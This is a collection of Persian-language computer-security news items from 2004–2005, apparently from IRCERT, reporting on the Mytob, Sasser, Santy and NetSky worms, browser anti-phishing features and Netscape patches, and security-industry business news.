شرکتی که MySQL را تولید می کند،‌طی یک راهنمایی امنیتی گام به گام به مدیران دیتابیس شیوه شناسایی آلودگی سیستم و رفع آن را آموزش داده است.


﻿ IRCERT - به سرعت گسترش می یابد - اخبارها و هشدارها Mytob

Mytob به سرعت گسترش می یابد

۲۹ مارس ۲۰۰۵ – ۹ فروردین ۱۳۸۴

کرم اینترنتی Mytob با ارائه ۸ نسخه طی هفته گذشته و ۱۲ نسخه از ابتدای ماه مارس بیشترین سرعت گسترش را داشته است.

دیروز شرکت Symantec شیوع دو نسخه جدید با نامهای W32.Mytob.R و W32.Mytob.S را گزارش داد. این دو نسخه نیز همانند نسخ پیشین از Symantec درجه خطر low یا moderate دریافت کرده اند، اما این شرکت به کاربران توصیه کرده است تا هرچه سریعتر نرم افزارهای امنیتی خود را به روز کنند.

دونسخه جدید Mytob همانند نمونه های قبلی از طریق ایمیل منتشر می شوند و با امکان حمله از در پشتی ( backdoor ) سیستم های ویندوزی را هدف قرار می دهد. این کرم از موتور SMTP خود جهت ارسال ایمیلهای آلوده به نشانی های موجود روی سیستم قربانی استفاده می کند. این تهدید با سوء استفاده از مشکل Local Security Authority Service Remote Buffer Overflow در ویندوز بروز می کند، مشکلی که پیش از این مایکروسافت اصلاحیه آن را ارائه کرده است.

نسخ اخیر این کرم از دسترسی کامپیوترهای قربانی به سایتهای به روز رسانی شرکتهای Symantec ، McAfee و مایکروسافت جلوگیری می کند. هر دو نسخه با موضوعاتی مانند good day و mail transaction failed ارسال می شوند.


﻿ IRCERT - اخبار و هشدارها- Sasser پایان کار

آیا این پایان کار Sasser است؟

6 مه – 17 اردیبهشت

با وجودی که خسارات وارده از کرم اینترنتی Sasser به رکوردهای Blaster نرسیده است اما متخصصان امنیت همچنان نگران مشکلات دیگری هستند که ممکن است این کرم ایجاد کند.

برخی کارشناسان معتقدند که ممکن است با ترکیب نسخ مختلف ویروس Netsky با این کرم , ویروس می تواند از طریق ایمیل وارد شبکه های شود و پس از ورود به سرعت خود را منتشر کند. در واقع از آنجا که در درگاههای ورودی (Gateway) از ورود Sasser جلوگیری می شود , این کرم می تواند با کمک ایمیل از این درگاهها عبور کند و سپس به تکثیر خود بپردازد.

بنابه گفته متخصصین درحال حاضر و پس از 6 روز از تولد کرم Sasser سرعت انتشار آن بسیار کاهش یافته است. اما این کرم نیز همانند سایر کرمها هیچ گاه به صورت کامل از اینترنت پاک نخواهد شد.

با شیوع این کرم , بحث امنیت باز به یکی از مسائل مهم مشتریان مایکروسافت تبدیل شده است. در این هفته شرکت گارتنر طی یک راهنمایی به شرکتهایی که از محصولات مایکروسافت استفاده می کنند اعلام کرد که بهتر است هزینه مقابله با کرمها و سایر مشکلات امنیتی را به عنوان بخشی از هزینه مالکیت نرم افزار بپذیرند و با نصب سریع اصلاحیه های امنیتی و خرید ابزار اضافی سیستم خود را امن کنند.

البته به نظر می رسد که مایکروسافت هم از حملات قبلی درس گرفته و روش اطلاع رسانی به کاربران خود را تغییر داده است. طی 24 ساعت اول تولد کرم , مایکروسافت دستوراتی را برای مقابله با این کرم منتشر کرد. در روز بعد این شرکت یک برنامه ActiveX را منشر کرد که به صورت خودکار این کرم را از سیستم پاک می کرد. و 48 ساعت پس از عرضه این برنامه , 1.5 میلیون نفر آن را دریافت کرده بودند. در روز 5 مه مایکروسافت این برنامه را به سرویس به روز رسانی خود اضافه کرد تا کاربران راحت تر بتوانند سیستم خود را پاک کنند.

اما با وجود این تلاشها کاشرناسان معتقدند که این کرم همانند CodeRed و Nimda همچنان به حیات خود بر روی شبکه اینترنت ادامه خواهد داد و به سرعت از بین نخواهد رفت.


﻿ IRCERT - کرمی که با کمک گوگل منتشر می شد - اخبارها و هشدارها Santy

Santy ، کرمی که با کمک گوگل منتشر می شد

21 دسامبر 2004 - 1 دی 1383

متخصصان امنیتی امروز هشدار دادند که یک کرم اینترنتی با جستجو در گوگل قربانیان بالقوه خود را می یابد و با استفاده از نسخه قابل نفوذ برنامه phpBB خود را در میان bulletin board ها گسترش می دهد.

شرکت ضدویروس کاسپرسکی اعلام کرده است کرم Santy در گوگل به دنبال سایتهایی می گردد که از این نسخه استفاده می کنند و پس از آن با استفاده از حفره موجود در این نرم افزار گسترش می یابد.

به نظر می رسد حدود 40 هزار سایت آلوده شده اند. بنابر تحقیقات انجام شده حدود 6 میلیون سایت از نرم افزار phpBB‌استفاده می کنند. کاسپرسکی در بیانیه خود با اشاره به سرعت بالای انتشار این کرم، به کاربران اطمینان می دهد که Santy خطر مستقیمی برای آنها ندارد.

این کرم یک درخواست جستجو برای گوگل ارسال می کند و لیست سایتهای قابل نفوذ را می یابد. سپس با یک درخواست PHP که برای نفوذ از طریق حفره موجود در phpBB طراحی شده است، سعی می کند تا خود را به آن سایتها برساند. هنگامی که این کرم وارد یک سایت شود، تمامی صفحات HTML ، PHP ، ASP ، JPS و secure HTML را پاک می کند و با متن ذیل جایگزین می کند:

"This site is defaced!!! This site is defaced!!! NeverEverNoSanity WebWorm generation X,"

کرم اینترنتی مزبور به جایX عددی قرار می دهد که نشانگر فاصله نسل نسخه فعلی با کرم اصلی است. تا به حال 24 نسل از این کرم یافت شده است. این اولین بار است که یک برنامه از گوگل برای شناسایی قربانیان بعدی خود استفاده می کند.

بنابر آخرین گزارشها گوگل به آسانی و با عدم پاسخگویی به درخواستهای جستجوی کرم مزبور توانسته است گسترش این کرم را کنترل نماید.

این حفره هفته گذشته کشف شده بود.


﻿ IRCERT - به شکار هویت ربایان می رود - اخبارها و هشدارها Netcraft

Netcraft به شکار هویت ربایان می رود

30 دسامبر 2004 – 10 دی 1383

شرکت Netcraft یک plug-in برای مرورگر IE ارائه کرده است که می تواند به کاربران کمک کند تا قربانی حملات هویت ربایی نشوند.

این شرکت اعلام کرده که این ابزار می تواند اطلاعاتی را درباره سایتهایی که بازدید می کنند به کاربران ارائه دهد و بدینوسیله با هویت ربایی مقابله کند.

Netcraft که به عنوان سایتی برای تهیه آمار از نرم افزارهایی که روی سایتها در حال اجراست، شناخته می شود، در معرقی این ابزار آورده است:“ این ابزار به صورت مداوم اطلاعاتی را درباره سایتهایی که از آنها بازدید می کنید به شما ارائه می کند و سایتهای خطرناک را نیز بلوکه می کند. این اطلاعات به شما کمک می کند تا تصمیم بهتری درباره سایتها بگیرید.“

این ابزار اطلاعاتی درباره شهرت و محبوبیت سایت، کشوری که آن را میزبانی می کند و نشانی اینترنتی سایت ارائه می کند. همچنین درصورتی که یکی از کاربران این ابزار سایتی را به عنوان یک سایت تقلبی و هویت ربا علامت گذاری کرده باشند، این نکته به کاربر گوشزد می شود.

مدیر Netcraft معتقد است که مؤثر بودن این ابزار بستگی به میزان پذیرش آن نزد کاربران دارد.

این ابزار در قالب یک plug-in برای مرورگر IE از سایت Netcraft قابل دریافت است . به گفته این شرکت نسخه قابل نصب بر روی Firefox نیز در حال تولید است.


﻿ IRCERT - اصلاحیه ای برای مرورگر یک روزه - اخبارها و هشدارها

اصلاحیه ای برای مرورگر یک روزه

20 مه 2005 - 30 اردیبهشت 1384

تنها یک روز پس از عرضه Netscape 8 و انتشار اخباری درباره امکانات امنیتی آن، Netscape یک اصلاحیه برای رفع چند مشکل امنیتی حدی در این مرورگر منتشر کرد.

نسخه اصلی Netscape 8 مبتنی بر نسخه 1.0.3 از مرورگر Firefox است. Netscape فکر می کرد که مرورگر جدید در برابر مشکلات امنیتی موجود در Firefox که در نسخه 1.0.4 ترمیم شده بود، مصونیت دارد اما مشخص شد که Netscape 8 در برابر این مشکلات قابل نفوذ است.

سخنگوی Netscape در این باره می گوید:“ یک شرکت امنیتی به ما اطلاعات اشتباهی ارائه کرد که مشکلات Firefox محصول جدید ما را تحت تاثیر قرار نمی دهد. در اولین ساعاتی که مشخص شد نظر این شرکت دقیق نبوده است، ما آن مشکلات را برطرف کردیم و نسخه به روز شده مرورگر را ارائه کردیم.“

در نسخه جدید یعنی Netscape 8.0.1 مشکلات برطرف شده اند. قرار است که یک اصلاحیه برای کاربرانی که نسخه 8 را نصب کرده اند منتشر شود، اما این شرکت هنوز در حال کار بر روی مکانیزم به روز رسانی است.

این به روز رسانی به خاطر وجود مشکلاتی است که بنیاد موزیلا هفته گذشته طی 3 راهنمایی امنیتی به وجود آنها در مرورگر Firefox اشاره کرد. بنا بر راهنمایی های منتشر شده ،‌ مهمترین مشکل موجود می تواند به یک هکر اجازه دهد تا کنترل کامل سیستم قربانی را به دست بگیرد.


﻿ IRCERT - اخبار و هشدارها - Netscape مرورگر ضدهویت ربایی

مرورگر ضدهویت ربایی Netscape

31 ژانویه 2005 - 12 بهمن 1383

ماه آینده Netscape نسخه آزمایشی مرورگر خود را ارائه خواهد کرد که در آن سعی شده است تا با حملات هویت ربایان مقابله شود.

این شرکت در روز 17 فوریه نسخه بتای Netscape 8 و طراحی جدید سایت Netscape.com را عرضه خواهد کرد.

در گذشته های نه چندان دور Netscape - که ده سال پیش توسط سازنده اولین مرورگر یعنی mosaic بنیانگذاری شد- بیش از 80 درصد بازار مرورگرها را در اختیار داشت. اما با ورود IE، این بازار از دست Netscape خارج شد به گونه ای که در حال حاضر 90 درصد کاربران از مرورگر مایکروسافت استفاده می کنند.

با ارائه مرورگر Firefox که متعلق به بنیاد Mozilla است، تعداد قابل توجهی از کاربران به این مرورگر روی آوردند به طوری که از زمان ارائه نسخه جدیدی یعنی ماه نوامبر تا به حال 20 میلیون کاربر آن را دریافت کرده اند.

با توجه به مشکلات امنیتی پیدا شده در IE ، Netscape و سایر تولیدکنندگان مرورگر قصد دارند که امنیت را نقطه برتری خود بر IE‌ قرار دهند و از این طریق به فروش بیشتری دست پیدا کنند. برای مثال Netscape در حال مذاکره با تعدادی از شرکتهای امنیتی است تا برای نسخه بتای Netscape 8 یک لیست سیاه از سایتهای دارای کدهای جاسوسی، هویت ربایی و ... تهیه کند و این لیست مرتبا به روز رسانی شود. در این صورت زمانی که یک کاربر با استفاده از Netscape 8 به چنین سایتی دسترسی پیدا کند، به وی اخطار داده می شود و فناوریهایی مانند ActiveX، scripting و کوکی ها در آن غیرفعال می شود.

Netscape اولین شرکتی نیست که به ارائه چنین مرورگری می پردازد. ماه گذشته مرورگر Deepnet Explorer که مبتنی بر IE است، مرورگر ضد هویت ربایی خود را ارائه کرد.

به نظر می رسد Firefox و Netscape رقابت سختی را برای دست پیدا کردن به سهم بیشتری از بازار آغاز کرده اند.


﻿ IRCERT - و مقابله با هویت ربایی - اخبارها و هشدارها Netscape

Netscape و مقابله با هویت ربایی

18 مه 2005 - 28 اردیبهشت 1384

Netscape تا پایان این هفته نسخه نهایی مرورگر Netscape 8 را ارائه خواهد کرد. این نسخه به گونه ای طراحی شده است که از کاربران در برابر حملات آنلاین مانند هویت ربایی محافظت می کند.

نسخه های تست آلفا و بتای این مرورگر از ماه فوریه در دسترس قرار داشتند. Netscape قول داده است که نسخه نهایی همانند نسخ پیشین امکاناتی را برای حفظ امنیت سیستمها و کاربران در زمان مرور وب با خود داشته باشد. انتظار می رود که ظاهر این مرورگر نیز در نسخه نهایی بهتر شود اما تفاوتهای زیادی با نسخه بتا که در ماه مارس منتشر شد، نخواهد داشت.

Netscape با انتشار این نسخه به رقابت جدی تر با محصول مایکروسافت ، یعنی IE ، که حفره های امنیتی متعددی داشته، می پردازد. Netscape امید دارد که موفقیت مرور Firefox به وی کمک کند.

در نسخه جدید Netscape تنظیمات امنیتی به صورت خودکار به گونه ای تنظیم شده اند که از کاربران در برابر لیستی از سایتهای خطرناک شناسایی شده محافظت کنند و اجازه حملات هویت ربایی از این سایتها را ندهند. به گفته Netscape‌ لیست سیاه حاوی سایتهایی که مشکوک به داشتن نرم افزار جاسوسی یا هویت ربایی هستند، به طور مرتب به روز می شود.

هنگامی که فردی سایتی را می بیند، علامتهای قرمز و سبز در مرورگر به وی نشان خواهند داد که آیا این سایت به عنوان یک سایت خطرناک شناسایی شده یا امن است.

Netscape 8 مبتنی بر مرورگر Firefox طراحی شده است اما موتور مرورگر IE را نیز پشتیبانی می کند. سایتهای مورد اعتماد با محدودیتهای کمتر و توسط موتور IE نمایش داده خواهند شد تا سازگاری بیشتری داشته باشند.

نسخه آلفای این مرورگر در ماه فوریه و نسخه بتای آن در ماه مارس ارائه شده بود.


﻿ IRCERT - اخبار و هشدارها - Netscape ک اصلاحیه هم برای

یک اصلاحیه هم برای Netscape

17 ژوئن 2005 - 27 خرداد 1384

Netscape نسخه جدیدی از مرورگر خود را ارائه کرده است تا از بروز مشکل در هنگام نمایش صفحات XML در IE جلوگیری کند.

چند روز پس از انتشار Netscape 8، یکی از مدیران تیم تولیدکننده IE هشدار داد که نصب نسخه جدید مرورگر Netscape باعث می شود که IE نتواند فایلهای XML را به خوبی پردازش کند و در نتیجه صفحات خالی یا blank نمایش دهد. نسخه جدید یعنی 8.0.2 برای برطرف کردن این مشکل ارائه شده است.

این اصلاحیه دومین به روز رسانی برای Netscape 8 از ابتدای تولد آن است. یک روز پس از انتشار این مرورگر ، اولین اصلاحیه برای پوشش چندین مشکل امنیتی موجود در آن عرضه شد.

مایکروسافت پیشنهاد کرده است که برای برطرف کردن مشکل، کاربران نسخه جدید را از روی سیستم خود بردارند و تنظیمات رجیستری را ویرایش کنند.

به گفته Netscape، نسخه به روز شده علاوه بر رفع مشکل فوق، کارایی این مرورگر را بهبود بخشیده است.اما کاربرانی که این نسخه به روز شده را دریافت کرده اند از crash کردن مکرر آن شکایت می کنند.


﻿ IRCERT - از حفره های محصولات مایکروسافت استفاده می کند - اخبارها و هشدارها NetSky.V

NetSky.V از حفره های محصولات مایکروسافت استفاده می کند

16 آوریل – 28 فروردین

آخرین نسخه از سری کرمهای NetSky دیگر فایل الحاقی ( Attachment ) ندارد و تنها با باز شدن و نمایش ایمیل اجرا می شود. در واقع NetSky.V به جای الحاق نمودن کد اجرایی به ایمیل ،از دو حفره امنیتی موجود در محصولات مایکروسافت استفاده می کند تا کد را از یک کامپیوتر آلوده دریافت کند. متخصصان می گویند با توجه به این که در حال حاضر بسیاری از درگاههای ( gateway ) ایمیل تمامی الحاقیه های ایمیلها را بلوکه می کنند ،این کرم راه دیگری را برگزیده است تا بلوکه نشود.

با وجودی که این نسخه از NetSky هنوز گسترش زیادی پیدا نکرده است اما تولیدکنندگان و فروشندگان نرم افزارهای ویروس کش معتقدند که هر یک از نسخ NetSky بالقوه خطرناک هستند.

از آنجایی که دو حفره امنیتی مذکور یکسال پیش شناخته شده بودند ،لذا هر کامپیوتری که اصلاحیه ها را از آن زمان نصب کرده باشد در معرض خطر نیست. همچنین شرکت های ضدویروس ،با بروزرسانی محصولات خود سعی دارند تا فایل اجرایی مزبور و کد مورد استفاده برای دریافت این فایل را شناسایی و بلوکه نمایند. البته یک فایروال که به خوبی پیکربندی شده باشد نیز می تواند با جلوگیری از باز شدن پورتهای 5557 و 5556 توسط کرم،از انتقال فایل اجرایی جلوگیری کند.

البته تجربه نشان داده است که تعداد زیادی از کامپیوترهای در حال کار در منازل و یا شرکتهای کوچک به روز نمی شوند و از طرف دیگر فایروال مناسب و ضدویروس به روز نیز مورد استفاده قرار نمی گیرد و لذا چنین کرمهایی امکان بروز و انتشار پیدا می کنند. به همین دلیل است که کرمهایی مانند Blaster برای سالها در بین کامپیوترها شایع هستند و ایجاد خطر می کنند.

NetSky.V نیز همانند نسخه های قبلی این کرم به شکل یک ایمیل با موضوع "Mail delivery failed" ظاهر می شود و از آدرسهای موجود در Address Book ماشین قربانی برای انتشار خود استفاده می کند. داخل ایمیل نیز به جای داشتن فایل الحاقی ، دارای کدی است که از حفره موجود در نرم افزار اینترنت اکسپلورر در XML Page Object Type Validation استفاده می کند. این حفره باعث می شود تا یک کامپیوتر به یک کد خطرناک اعتماد کند ، آن را نصب کرده و به آن اجازه اجرا دهد.

( حفره مزبور در بولتن امنیتی MS03-040 مایکروسافت شرح داده شده است.)

ماشین قربانی نیز با استفاده از پورت 5557 ،یک ارتباط HTTP را با یک کامپیوتر آلوده برقرار می کند تا یک صفحه html از آنجا دریافت کند. این صفحه از حفره موجود در

IE5 ActiveX "Object for constructing type libraries for scriptlets" استفاده می کند تا یک ارتباط FTP بر روی پورت 5556 باز کند و فایل اجرایی کرم را از یک کامپیوتر آلوده دریافت کند.

این کرم به گونه ای رجیستری را تغییر می دهد که به صورت خودکار در هر بار بالا آمدن کامپیوتر آلوده، اجرا شود. این نسخه نیز همانند نسخ پیشین یه سایتهای هک و شبکه های p2p حمله ور می شود.

متخصصان معتقدند که ویروسهایی که در آینده از این روش برای گسترش خود استفاده کنند درصورتی که پورتهای معمول را بکار گیرند و از حفره های جدیدتری نیز استفاده کنند،موفق تر خواهند بود.


﻿ IRCERT - علیه سایتهای اشتراک فایل - اخبارها و هشدارها NetSky

حمله NetSky علیه سایتهای اشتراک فایل

8 آوریل – 20 فروردین

سایت اصلی شبکه eDonkey بر اثر حملات NetSky از کار افتاده است اما Kazaa هنوز به کار خود ادامه می دهد. کرم اینترنتی NetSky.Q که روز 29 مارس وارد اینترنت شد ،‌به گونه ای برنامه ریزی شده است تا سابتهای اشتراک فایل و همچنین سایتهای توزیع کننده ابزارهای هک و نفوذ را مورد حمله DoS قرار دهد. مهمترین اهداف این کرم eDonkey و Kazaa بودند. حملات برای مدت شش روز برنامه ریزی شده بود. البته eDonkey بر روی یک نشانی دیگر این سایت در دسترس بود.

هدف دیگر eMule بود که با مشکلاتی روبرو شد اما کپی سایت خود را به نشانی دیگری نیز منتقل کرده بود. دو سایت از مجموعه سایتهای هک و نفوذ نیز با مشکل روبرو شده اند و از کار افتاده اند. به نظر می رسد تنها Kazaa توانسته است در روز اول در مقابل حملات دوام بیاورد.

میکو هایپونن – مدیر تحقیقات ضدویروس در شرکت F-Secure – اعلام کرده است که با وجودی که eDonkey و eMule روی نشانی های دیگری در دسترس هستند اما از آنجا که نشانی اصلی آنها توسط این کرم مورد حمله قرار گرفته است ، لذا بسیاری از کاربران نمی توانند به این سایتها دسترسی پیدا کنند. وی معتقد است Blaster باهوش نبود چون تنها نشانی windowsupdate.com را مورد حمله قرار داده بود ، درحالی که بسیاری از www.windowsupdate.com استفاده می کنند. اما NetSky به نشانی هایی حمله ور شد که کاربران با آنها کار می کردند.


﻿ IRCERT - آیا نویسنده این دو یکی است؟ - اخبارها و هشدارها Netsky,Sasser

Netsky ،Sasser آیا نویسنده این دو یکی است؟

3 مه – 14 اردیبهشت

تیم ناشناسی که آخرین نسخه Netsky را توولید کرده است مدعی است که نویسنده کرم Sasser نیز هست. احتمالا این برنامه نویسان که خود را تیم ضد ویروس Skynet نامیده اند ، نویسنده حدود 30 نسخه ویروس Netsky هستند. این گروه در داخل کد Netsky AC مدعی شده اند که نویسنده Sasser نیز آنها هستند. متخصصان می گویند که در کد این دو ویروس شباهتهایی وجود دارد اما نمی توان گفت که لزوما نویسنده هر دو یک گروه هستند. متخصصان بر اساس بررسی های انجام شده می گویند که هر دو ویروس توابع یکسانی را با ترتیب مشابه صدا می زنند که تصادفی بودنا ین امر بعید به نظر می رسد.

در داخل کد Netsky AC آمده است :

"Hey، av (antivirus) firms، do you know that we have programmed the sasser virus?!? Yeah thats true!" stated the message in the text. "Why do you have named it sasser? A Tip: Compare the FTP-Server code with the one from Skynet.V!!! LooL! We are the Skynet."

همچنین نویسندگان ، به عنوان گواهی ادعای خود کد Sasser را ارائه کرده اند که پس ا زاجرا همانند این کرم عمل می کند.

مایکروسافت برای ارائه اطلاعاتی که منجر به شناسایی نویسندگان Netsky و Sasser شود ، جایزه تعیین کرده است.


﻿ IRCERT - خطرناکتر از آنچه تصور می شد - اخبارها و هشدارها NetSky

NetSky ، خطرناکتر از آنچه تصور می شد

29 مارس – 10 فروردین

شرکت امنیتی Symantec درجه خطر آخرین نسخه NetSky را بالا برده است. این شرکت درجه خطر NetSky.Q را از 2 به 3 افزایش داده است. قابل به ذکر است که این شرکت 5 درجه خطر را برای ویروسها در نظر گرفته است. کارشناسان انتشارنسخ مختلف کرمهای اخیر مانند NetSky , MyDoom و Bagle افزایش و افزایش درجه خطر در این نسخ جدید را غیرعادی می دانند. راکمن – مدیر ارشد بخش پاسخگویی امنیتی Symantec – می گوید : معمولا یک کرم اصلی و دو یا سه نسخه مختلف از آن وجود دارد اما در این کرمها روال غیر از این بوده است.

درجه خطر دو نسخه پیشین NetSky به خاطر گستردگی زیاد آنها به 3 افزایش یافته بود. آخرین نسخه NetSky دومین نسخه ای است که پس از انتشار سورس کد NetSky در اوایل ماه مارس توسط نویسنده اصلی منتشر شد. نویسنده اصلی این کرم در نسخه NetSky.K اعلام کرده بود که به زودی کد این کرم را منتشر می کند تا دیگران نیز بتوانند از آن استفاده کنند. پس از آن 4 نسخه دیگر از این کرم منتشر شد که هیچ یک نتوانست درجه خطری بیش از 2 به خود اختصاص دهد. کارشناسان معتقدند که این نسخ توسط ویروس نویسان دیگری نوشته و منتشر شده اند.

درحال حاضر نمی توان مطمئن بود که نسخ جدید این کرم – که درجه خطر 3 را کسب کرده اند- باز هم توسط نویسنده اصلی نوشته می شوند یا نویسندگان دیگر در بکارگیری این کرم مهارت بیشتری کسب کرده اند.


﻿ IRCERT - آشنایی مدیران شبکه ها با امنیت مایکروسافت - اخبارها و هشدارها

آشنایی مدیران شبکه ها با امنیت مایکروسافت

22 ژوئن 2004 – 2 تیر 1383

مدیر ارشد امنیت شبکه در شرکت مایکروسافت امروز با در برنامه ای که برای بیان روند کاری این شرکت تشکیل شده بود حاضر شد تا مدیران شبکه ها را از فعالیتهای این شرکت برای حفظ امنیت شبکه ها آگاه سازد.

ریچارد دونوتی – قائم مقام شرکت در زمینه خدمات و واحد IT – با حضور در Security Summit ، حاضران را از پیشرفتهای نرم ا فزاری این شرکت آگاه کرد و اشاره کرد که چگونه این پیشرفتها در شبکه های شرکت مایکروسافت اعمال شده اند.

دونوتی اشاره کرد شاید بزرگترین تغییر آن است که اهمیت امنیت آشکار شده و این موضوع دارای اولویت شده است. گروه فناوری اطلاعات حالا می تواند تولید یک نرم افزار را متوقف کند و یا دسترسی فردی را به شبکه قطع کند. وی گفت :“ اگر یک کاربر کاری را که من می خواهم انجام ندهد ، وی را از شبکه بیرون می اندازیم.“ این گروه یکی از آخرین گروههای مایکروسافت است که پیش از ارائه یک محصول به بازار آن را مورد بررسی قرار می دهد. یکی از آخرین محصولاتی که توسط این گروه مورد بررسی و تایید قرار گرفته ، Internet Security & Accelerator (ISA) Server 2004 است که در هفته های آتی وارد بازار خواهد شد.یکی از تغییرات مهم دیگر در روال کاری شرکت ، حضور موضوع امنیت به عنوان یک فاکتور مهم در تصمیم گیری جهت ارائه یا عدم ارائه یک محصول است. همچنین در سال گذشته مایکروسافت به آموزش برنامه نویسان خود ادامه داده است و به صورت ماهیانه اصلاحیه هایی را ارائه می کند و پشتیبانی امنیتی نسخه های قبلی ویندوز را گسترش داده است.

Security Summit یکی از آخرین تلاشهای مایکروسافت برای آموزش افراد است. مایکروسافت امیدوار است تا پایان امسال نزدیک به 500 هزار نفر را در سراسر جهان آموزش دهد که چگونه از سیستم هایشان حفاظت کنند.

البته با وجود تمامی این تلاشها هنوز مشکلات زیادی باقی است. در آوریل امسال مایکروسافت اصلاحیه مهمی را ارائه کرد که حداقل شش حفره امنیتی خطرناک را پوشش می داد. کمتر از 3 هفته بعد کرم اینترنتی Sasser وارد شبکه ها شد که از یکی از همین حفره ها استفاده می کرد و سیستم هایی را که اصلاحیه را دریافت و نصب نکرده بودند مورد حمله قرار می داد. بسیاری از کامپیوترهای برنامه نویسان مایکروسافت و شبکه های داخلی این شرکت مورد هجوم این کرم قرار گرفتند چون اصلاحیه را نصب نکرده بودند.

همچنین برنامه نویسان این شرکت یاد می گیرند تا از شبکه خصوصی مجازی یا VPN‌برای ارتباط با سرورهای مربوطه استفاده کنند تا اطلاعات خود را در شبکه عمومی حفاظت کنند.

این غول نرم افزاری به زودی یک به روز رسانی امنیتی برای ویندوز XP و 2003 ارائه خواهد کرد که امنیت بیشتری را برای این سیستم عاملها به ارمغان خواهد آورد.


﻿ IRCERT - اخبار و هشدارها - Network Associates تکذیب شایعه فروش

تکذیب شایعه فروش Network Associates به مایکروسافت

22 ژوئن 2004 – 2 تیر 1383

شرکت امنیتی Network Associates امروز تمامی شایعات مربوط به فروش این شرکت به یک شرکت بزرگتر مانند مایکروسافت را تکذیب کرد. جنیفر کیونی – سخنگوی شرکت Network Associates – با اعلام این خبر گفت :“ ما درحال مذاکره با مایکروسافت یا هیچ شرکت دیگری برای فروش Network Associates نیستیم.“

این سخنان پس از آن انتشار یافت که یک مجله تجاری در مقاله خود به نقل از منابع و شرکای ناشناس Wall Street اعلام کرد که Network Associates قصد دارد تا با مایکروسافت معامله کند. بنابه گفته خانم کیونی معمولا Network Associates در برابر شایعات مشابه سکوت اختیار می کند اما با توجه به میزان گسترش ان شایعه ، شرکت تصمیم گرفت تا به آن پاسخ دهد. وی اشاره کرده است که مدیر اجرایی این شرکت در چهاردهمین کنفرانس سالانه Nantucket به صورت مکرر دراین باره مورد سئوال قرار گرفته بود.

مایکروسافت بیش از 56 میلیارد دلار پول نقد در حساب خود دارد و به همین دلیل بعضی تحلیل گران Wall Street این شرکت را به رشد و گسترش بیشتر ترغیب می کنند. سال گذشته مایکروسافت یک شرکت ضدویروس رومانیایی را خرید و چندی پیش اعلام کرد که خدماتی را برای مقابله با تهدیدهای شبکه ای و ویروسهای کامپیوتری ارائه خواهد کرد.

مایکروسافت همانند همیشه سیاست خود درباره شایعات را حفظ کرده است و درباره خرید Network Associates حرفی نزده است.

Network Associates طی سالهای گذشته همواره با شرکت رقیب خود یعنی Symantec درحال رقابت بوده است تا سهم بیشتری از بازار را به خود اختصاص دهد. به همین دلیل سعی دارد تا هزینه های خود را کاهش دهد. همچنین گزارشاتی مبنی بر کاهش تعداد کارکنان این شرکت از ابتدای جولای به گوش می رسد.

سهام این شرکت تا بعد از ظهر امروز با 58 سنت افزایش به 17.15 دلار آمریکا رسیده است.


﻿ IRCERT - اخبار و هشدارها- !McAfee شرکتی به نام

شرکتی به نام McAfee !

22 آوریل – 3 اردیبهشت

شرکت Network Associates نام خود را تغییر می دهد و نام مشهورترین محصول خود یعنی McAfee را برای خود بر می گزیند. همچنین این شرکت خط تولید ابزارهای مدیریتی Sniffer را به قیمت 275 میلیون دلار به Texas Pacific Group و Silver Lake Partners می فروشد. این دو شرکت , شرکت جدیدی را به نام Network General پایه گذاری خواهند کرد .

با فروش Sniffer , شرکت Network Associates تنها بر روی امنیت و تشخیص متمرکز خواهد شد.

در حال حاضر امنیت یکی از داغ ترین بازارهای فناوری را در اختیار دارد.و شرکتهای فعال در این زمینه از سود خوبی بهره می برند. سهام Network Associates نیز 11 درصد رشد داشته است اما با فروش Sniffer سعی خواهد کرد بازهم هزینه ها را کاهش دهد تا سال آینده به رشد بهتری دست یابد. جرج سامنوک – مدیراجرایی Network Associates- در این باره می گوید :" این شرکت درگیر مهمترین تغییرات در تاریخ خود است. این تغییرات باعث می شود تا شرکت ما در آینده بسیار قدرتمندتر , سودمندتر و رقابتی تر باشد."

این شرکت اعلام کرده است که سود خالص سه ماهه اول 217 میلیون دلار بوده است.


﻿ IRCERT - اخبار و هشدارها - IBM تهدیدات امنیتی در گزارش

تهدیدات امنیتی در گزارش IBM

24 اکتبر 2004 - 3 آبان 1383

IBM قصد دارد تا از فردا انتشار گزارشات ماهانه ای را آغاز کند و در آن به تهدیدات موجود برای شبکه های کامپیوتری بپردازد.

این گزارش که Global Business Security Index نام دارد، با هدف دادن هشدار اولیه به مدیران درباره مشکلات مختلف کامپیوتری مانند حملات هکرها، نرم افزارهای خودکار، ویروسها و کرمها منتشر خواهد شد.

این مستند با استفاده از اطلاعات جمع آوری شده از 2700 کارمند IBM که در بخش امنیت اطلاعات مشغولند و با کمک یک شبکه جهانی متشکل از حدود نیم میلیون برنامه نرم افزاری سنسور و سخت افزارهای امنیتی توزیع شده بین مشتریان و شبکه شرکت IBM در 34 کشور تولید می شود. شبکه سنسورها به طور خودکار در هر ماه 100 میلیون حمله واقعی یا مشکوک بر علیه مشتریان IBM را تشخیص می دهد.

این گزارش بر روی سایت IBM قرار خواهد گرفت و بخشی از گزارش این شرکت با نام Security Threats and Attack Trends یا STAT خواهد بود که سالیانه به قیمت 10 هزار دلار در اختیار مشتریان قرار خواهد گرفت.

IBM اولین شرکتی نیست که اطلاعاتی درباره تهدیدات شبکه ای به مدیران امنیتی کامپیوترها می دهد. درحال حاضر سرویسهای مختلف مشابهی به صورت تجاری ارائه شده اند.Symantec سیستمی را با نام DeepSight Threat Management ارائه می کند که شامل یک شبکه سنسور است که اطلاعات را از 20 هزار مشتری حقوقی و 20 میلیون مشتری شخصی نرم افزارهای این شرکت دریافت می کند. این سرویس که از 4 سال پیش آغاز به کار کرده است، تهدیدات را با کمک رنگها کدبندی کرده و سطوح مختلف خطر را نمایش می دهد.

IBM اعلام کرده است که حملات به شبکه های تحت کنترل این شرکت در ماه سپتامبر نسبت به ماههای جولای و آگوست 27 درصد رشد داشته است. رایج ترین حملات در حال حاضر توسط کرمها انجام می شوند. برنامه هایی که به صورت خودکار در یک شبکه از یک کامپیوتر به کامپیوتر دیگر حرکت کرده و خود را منتشر می کنند. بسیار از کرمها با کمک حفره موجود در سیستم عامل ویندوز که در ماه آوریل کشف شد، خود را منتشر می کنند.

همچنین بنابه گفته متخصصان امنیتی IBM در ماه گذشته میزان حملات به زیرساختهای مهم مانند شبکه های کاپیوتری ادارات دولتی و یا بعضی شرکتها که خدمات ضروری را ارائه می کنند، 20 درصد افزایش داشته است. البته این کارشناسان، افزایش این خملات را نشانه ای از وقوع یک حمله مهم و جدی نمی دانند.

